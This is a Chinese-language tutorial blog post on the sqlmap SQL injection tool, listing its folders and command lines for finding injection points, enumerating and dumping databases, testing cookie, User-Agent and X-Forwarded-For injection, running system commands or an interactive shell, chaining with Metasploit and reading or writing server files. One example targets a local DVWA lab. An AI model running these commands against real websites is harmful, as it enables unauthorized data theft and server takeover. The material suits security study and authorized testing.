2019.10.28sql注入工具

喜欢而已 提交于 2019-12-03 01:27:49

SQLMAP工具的使用

sql注入工具:明小子 啊D 萝卜头 穿山甲 sqlmap等等

 

开源自动化注入利用工具,支持12中数据库,/plugins中可以看到支持的数据库种类

支持的注入类型:bool,时间,报错,联合,堆查询,内联

可以获取用户名 密码 权限 角色 数据库 (,字段,内容)

可以爆破识别密文数据:

getshell

命令执行

脱库/删库

 

目录介绍

 

doc介绍文档

extra 他是sqlmap额外的功能,运行cmd执行命令

lib sqlmap核心功能代码

pluigins包含12种数据库识别程序

data 各种数据: procs包含了mssql mysql oracle postgresql 这四种数据库的触发程序

shell 远程命令和后门

txt 表名 列名 UA字典

udf 存放攻击载荷 payload

xml 存放检测脚本

tamper 包含各种绕waf 处理脚本

thirdparty 包含了第三方插件,颜色,优化等等

 

sqlmap

工作流程

1.初始化

2.开始检测

0>检测之前是否注入过(会把检测的URL默认存放在用户家目录下.sqlmap下的output

--output-dir参数可以指定存放的目录)

1>解析URL,判断该URL是否可以访问

2>检测是否有WAF

sqlmap -u "目标URL" --identify-waf

sqlmap -u "目标URL" --check-waf

3> 执行用户输入的参数

-u URL

-P 指定参数

-v 指定显示的级别

--dbs 数据库

--current-db 当前数据库

--tables

--columns 列名

--dump 获取数据,脱库

--batch 跳过问询(yes) 直接执行

--DBMS指定数据库类型

--risk 等级过高会使用到drop,update 语句,请不要超过2,除非是自己实验的数据库

--v 显示结果等级3.

步骤详解:

1.判断注入点:sqlmap -u "目标URL"  //当看到探测到结果中有环境参数(系统类型,数据库类型),则表明有注入点

2.查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql

3.获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql

4.获取当前数据库下的表:sqlmap -u "目标url" -D 库名 --tables --dbms mysql --tatch

5.获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns

6.获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用,隔开)

 

指定参数:

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie "security=low;PHPSESSID=ji8v90ct3smcr6nr2dr5bgr8d7"

 

cookie 注入:

python sqlmap.py -u "target" --cookie "uname=12" --level 2

python sqlmap.py -r bp拦截到的post包文档 --level 2

 

level 2以上会测试http cookie头的值.

level 3 以上会测试UA HTTP referer头的值

 

xff注入:

sqlmap -r post_xff.txt --level 3

 

ua注入

python sqlmap.py -r post_ua.txt --level 3 --dbms mysql --batch

 

伪静态注入

python sqlmap.py -u "http://127.0.0.1/wjt/1*.html" //伪静态要加*,表明1这个位置是注入点

 

批量测试

python sqlmap.py -m targeturl.txt -beep

 

 

 

 

 

 

 

SQLMAP注入点执行系统命令或者交互式shell

(条件:1,数据库有写文件的权限 2.需要知道web站点路径)

sqlmap.py -u "target_url" --os-cmd=ipconfig 执行系统命令ipconfig

sqlmap.py -u "target_url" --os-shell 获取系统的shell

sqlmap.py -u "target_url" --is-dba 判断当前用户是不是dba

 

延时注入 --delay 2 延时 2s注入

sqlmap.py -u "target_url" --delay 2

sqlmap  --sql-query

 

 

sqlmapmsf结合使用

--os-pwn --msf-path /usr/share/metasploit-framework

--os-pwn用来与其他工具结合

--msf-path 指定msf所在位置

 

 

sqlmap读写文件

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!